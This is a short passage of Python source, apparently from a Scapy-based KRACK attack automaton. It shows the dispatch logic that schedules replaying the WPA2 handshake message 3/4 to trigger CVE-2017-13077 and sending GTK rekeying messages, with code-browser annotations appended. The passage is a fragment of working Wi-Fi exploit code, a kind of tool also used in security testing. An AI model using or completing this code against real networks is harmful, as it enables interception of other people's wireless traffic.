(self)
| 629 | |
| 630 | @ATMT.condition(KRACK_DISPATCHER) |
| 631 | def krack_dispatch(self): |
| 632 | now = time.time() |
| 633 | # Handshake 3/4 replay |
| 634 | if self.double_3handshake and (self.krack_state & 1 == 0) and \ |
| 635 | (now - self.time_handshake_end) > self.wait_3handshake: |
| 636 | log_runtime.info("Trying to trigger CVE-2017-13077") |
| 637 | raise self.ANALYZE_DATA().action_parameters(send_3handshake=True) |
| 638 | |
| 639 | # GTK rekeying |
| 640 | if (self.krack_state & 2 == 0) and \ |
| 641 | (now - self.time_handshake_end) > self.wait_gtk: |
| 642 | raise self.ANALYZE_DATA().action_parameters(send_gtk=True) |
| 643 | |
| 644 | # Fallback in data analysis |
| 645 | raise self.ANALYZE_DATA().action_parameters() |
| 646 | |
| 647 | @ATMT.action(krack_dispatch) |
| 648 | def krack_proceed(self, send_3handshake=False, send_gtk=False): |
nothing calls this directly
no test coverage detected